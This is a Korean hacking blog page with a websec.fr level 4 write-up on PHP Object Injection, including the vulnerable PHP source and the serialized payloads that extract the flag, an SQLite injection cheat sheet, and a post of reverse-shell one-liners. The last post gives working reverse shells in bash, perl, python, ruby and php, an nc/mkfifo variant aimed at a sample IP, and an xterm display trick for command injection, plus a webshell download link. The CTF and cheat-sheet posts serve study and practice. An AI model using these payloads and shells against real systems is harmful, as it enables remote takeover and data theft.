반응형

PHP Object Injection에 대해 공부를 해보고 이에 대한 문제를 풀어보고자 websec에서 관련된 문제 중 가장 쉬운 문제를 풀어보았다.


처음 접하는 분들이 어떤 flow로 exploit이 되는지 이해하는데 도움이 되었으면 한다.


해당 문제 링크는 아래와 같다.

http://websec.fr/level04/index.php


문제에 접근하면 소스코드 2개를 볼 수 있다.

해당 소스코드를 분석해본 결과 unserilizse와 serialize가 보이는 것으로 보아 PHP Object Injection 기법을 이용하는 문제이지 않을까 하였다.


그래서 조금씩 분석을 해보았다.


if (isset ($_COOKIE['leet_hax0r'])) {
    
$sess_data unserialize (base64_decode ($_COOKIE['leet_hax0r']));
    try {
        if (
is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
            die(
'CANT HACK US!!!');
        }
    } catch(
Exception $e) {
        echo 
$e;
    }
} else {
    
$cookie base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    
setcookie ('leet_hax0r'$cookietime () + (86400 30));
}


첫번째 소스코드부분의 일부이다.

일단 leet_hax0r 이라는 쿠키값이 세팅되어있으면 해당 값을 base64로 디코딩진행 후 unserialize한다. 따라서 leet_hax0r라는 쿠키가 공격 point임을 알 수 있다.


그렇다면 해당 부분을 이용하여 어떤 식으로 진행해야할까?

소스코드의 윗부분을 보면 아래와 같은 코드가 존재한다.


$sql = new SQL();
$sql->connect();

$sql->query 'SELECT username FROM users WHERE id=';


즉 SQL이라는 Object를 하나 생성 후 sql이라는 변수에 담아준 뒤 connect() 함수를 실행시키고 query라는 property에 SQL 쿼리를 선언해주고 있다.



if (isset ($_REQUEST['id']) && is_numeric ($_REQUEST['id'])) {
    try {
        
$sql->query .= $_REQUEST['id'];
    } catch(
Exception $e) {
        echo 
' Invalid query';
    }

}

그리고 마지막 소스코드의 마지막 부분을 보면 id라는 값을 받아 query의 끝에 붙여주는 것을 볼 수 있다.


여기서 의문점이 든다.

쿼리 실행하는 것이 보이지 않는데 쿼리 실행결과를 어디서 가져오는 것일까?

그건 바로 두번째 소스코드를 보면 알 수 있다.


class SQL {
    public 
$query '';
    public 
$conn;
    public function 
__construct() {
    }
    
    public function 
connect() {
        
$this->conn = new SQLite3 ("database.db"SQLITE3_OPEN_READONLY);
    }

    public function 
SQL_query($query) {
        
$this->query $query;
    }

    public function 
execute() {
        return 
$this->conn->query ($this->query);
    }

    public function 
__destruct() {
        if (!isset (
$this->conn)) {
            
$this->connect ();
        }
        
        
$ret $this->execute ();
        if (
false !== $ret) {    
            while (
false !== ($row $ret->fetchArray (SQLITE3_ASSOC))) {
                echo 
'<p class="well"><strong>Username:<strong> ' $row['username'] . '</p>';
            }
        }
    }

}


마지막에 선언된 __destruct() 함수는 클래스의 소멸자로서 해당 Object의 모든 참조가 삭제되거나 명시적으로 파기되었을 때 호출된다.


즉, 첫번째 소스코드에서 코드가 끝나며 생성된 SQL이라는 Object가 파기되면서 __destruct() 함수가 실행되는 것이다.


그러므로 현재 세팅되어 있는 leet_hax0r을 변조하여 sql 쿼리를 우리가 원하는 대로 바꿔주면 flag를 얻을 수 있는 것이다.


테스트를 해보기 위해 아래와 같은 값을 base64 encoding하여 leet_hax0r 에 넣은 뒤 User id 부분에 임의의 숫자를 입력하고 [Go]를 눌러보았다.. 

O:3:"SQL":1:{s:5:"query";s:20:"select 1 as username";}


그 결과 우리가 원하는대로 1이 출력됨을 볼 수 있다.

해당 값의 하나하나 분석은 아래의 링크를 참고하길 바란다.

https://blog.ripstech.com/2018/php-object-injection/


여기서 쿼리의 마지막에 as username이라고 해준 이유는 2번째 소스코드 확인해보면 쿼리의 결과 중 username에 대한 값을 출력해주기 때문이다.


이제 Flag를 얻기 위해 아래의 값을 base64 encoding한 뒤 실행시키면 flag를 얻을 수 있다.


O:3:"SQL":1:{s:5:"query";s:42:"select name as username from sqlite_master";}


O:3:"SQL":1:{s:5:"query";s:64:"select sql as username from sqlite_master where tbl_name='users'";}


O:3:"SQL":1:{s:5:"query";s:38:"select password as username from users";}


그 결과 FLAG를 확인할 수 있다.

반응형

'Hacking > Web' 카테고리의 다른 글

[websec.fr] level 25 writeup with parse_url bug  (0) 2019.04.07
[WebSec.fr] level 17 writeup  (0) 2019.03.28
WAS별 default로 허용되어있는 jsp 관련 확장자  (0) 2019.03.26
SQL Injection in SQLite3  (0) 2019.03.17
Node.JS  (0) 2019.03.03
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

* 주석 : --

* 조건문 : CASE

* Substring : substr(x,y,z)

  - substr('test',1,1) = 't'

* 길이 : length(stuff)

* 테이블 리스트 : SELECT name FROM sqlite_master

* 컬럼명 리스트 : SELECT sql FROM sqlite_master WHERE tbl_name='table_name' AND type='table' 

   - 테이블 생성 쿼리를 통해 획득


* Blind SQL Injection을 위해서는 unicode() 사용 (ascii() function 미존재)



※ SQLite에서의 SQL Injection

 - 보통 SQLite는 서버 단에서 활용하는 DB보다는 모바일 등 Front-End 단에서 자주 황용되는 DB이므로 다른 DB들처럼 전체 테이블 혹은 시스템 정보를 추출하기보다는 DB 내 데이터변조 혹은 타사용자의 정보 추출을 위해 사용됨.


그러나 낮은 확률도 Web에서 사용될 수도 있고, 모바일의 경우 SQLite를 DB로 사용하는 경우가 많기 때문에 그런 경우 공격해볼만한 포인트가 된다.


그럴 경우 아래의 링크를 참고하여 진행해보자.


https://www.hahwul.com/2017/11/web-hacking-sqlite-sql-injection-and.html

반응형

'Hacking > Web' 카테고리의 다른 글

PHP Object Injection with websec level 4  (0) 2019.03.26
WAS별 default로 허용되어있는 jsp 관련 확장자  (0) 2019.03.26
Node.JS  (0) 2019.03.03
SSTI in Flask  (0) 2019.02.24
[root-me] XPath injection - string  (0) 2019.02.19
블로그 이미지

rootable

,

Node.JS

2019. 3. 3. 17:34

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

SSTI in Flask

2019. 2. 24. 23:58

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Web Wargame Site

Hacking/Web 2019. 1. 13. 04:27
반응형

하나하나 올클리어를 해가며 업데이트할 글


- webhacking.kr (http://webhacking.kr/) : 관리가 되고 있지 않아 패스

- suninatas.com (http://suninatas.com/) : 10/10


- los (https://los.eagle-jump.org/) : 24/25

- rootme (https://www.root-me.org) : 39/57 ( Web-Server)

- websec.fr (https://websec.fr) : 0/28


반응형

'Hacking > Web' 카테고리의 다른 글

SSTI in Flask  (0) 2019.02.24
[root-me] XPath injection - string  (0) 2019.02.19
리버스 쉘 명령어  (0) 2018.10.14
Oracle WebLogic RCE Deserialization Vulnerability ( CVE-2018-2628 )  (0) 2018.10.06
[root-me] File upload - ZIP  (0) 2018.07.01
블로그 이미지

rootable

,

리버스 쉘 명령어

Hacking/Web 2018. 10. 14. 21:10
반응형

1. Bash 쉘 스크립트

bash -i >& /dev/tcp/진단자 PC_IP/리스닝포트 0<&1


 -i 옵션 : interactive 모드(대화형 모드)

 >& : 표출 출력과 표준 에러를 /dev/tcp/진단자 PC_IP/리스닝 포트로 전송하겠다.

 /dev/tcp : 디바이스 파일로 Bash에서 TCP 통신에 사용 -> 이를 이용하여 진단자 PC_IP/리스닝 포트에 연결

 0<&1 : 원격지의 입력을 bash의 표준 입력으로 하겠다.


2. 스크립트 언어별 쉘 스크립트

perl -e 'use Socket;$ip="학습용 PC_IP";$port=8080; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($port,inet_aton($ip)))){open(STDIN,">&S");open(STDOUT,">&S");exec("/bin/bash -i");};'

----------------------------------------------------------------------------------------

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",8080));

os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

----------------------------------------------------------------------------------------

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'


3. 운영체제 명령이 실행 가능할 경우! (파일업로드 할 필요없이 리버스 쉘 가능) 

php -r '$sock=fsockopen("attackerip",8080);exec("/bin/sh -i <&5 >&5 2>&5");'

 - TCP가 5번 파일 설명자를 사용한다고 가정한 경우로 동작하지 않을 경우 3,4,5,6을 시도


4. xterm을 이용한 리버스 쉘

 - OS Command Injection이 가능할 경우 시도

 - "whereis xterm"을 쳐서 서버 내 xterm이 설치되어있는지 확인 (권한 등의 문제로 나타나지 않을 수 있으므로 "ls /usr/bin"도 한번 시도해볼만 하다.)

ex) rootable.com;whereis xterm

 - xterm이 설치되어 있다면 테스터의 PC에 Xming을 설치한 뒤 아래의 리버스 쉘 명령어 입력

 ex) rootable.com;xterm -display 테스터PC_IP:0.0


참고. 웹쉘 다운로드 사이트

- https://github.com/tdifg/WebShell


출처 : WEB HACKING 서버 침투 기법 (유현수 지음)

------------------------------------------------------------

2018.10.14 추가

* nc에서 e 옵션 없이 reverse shell 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.69 1337 >/tmp/f


참고 ) https://shell.now.sh/192.168.0.69:1337

 - 위의 주소로 들어가면 4가지 경우가 존재한다. 이때 192.168.0.69는 진단자의 IP로, 1337은 진단자의 서버에 nc -l 을 통해 리스닝하고 있는 포트를 넣어주면 된다.

반응형

'Hacking > Web' 카테고리의 다른 글

[root-me] XPath injection - string  (0) 2019.02.19
Web Wargame Site  (0) 2019.01.13
Oracle WebLogic RCE Deserialization Vulnerability ( CVE-2018-2628 )  (0) 2018.10.06
[root-me] File upload - ZIP  (0) 2018.07.01
S3 bucket 대응방안  (0) 2018.06.04
블로그 이미지

rootable

,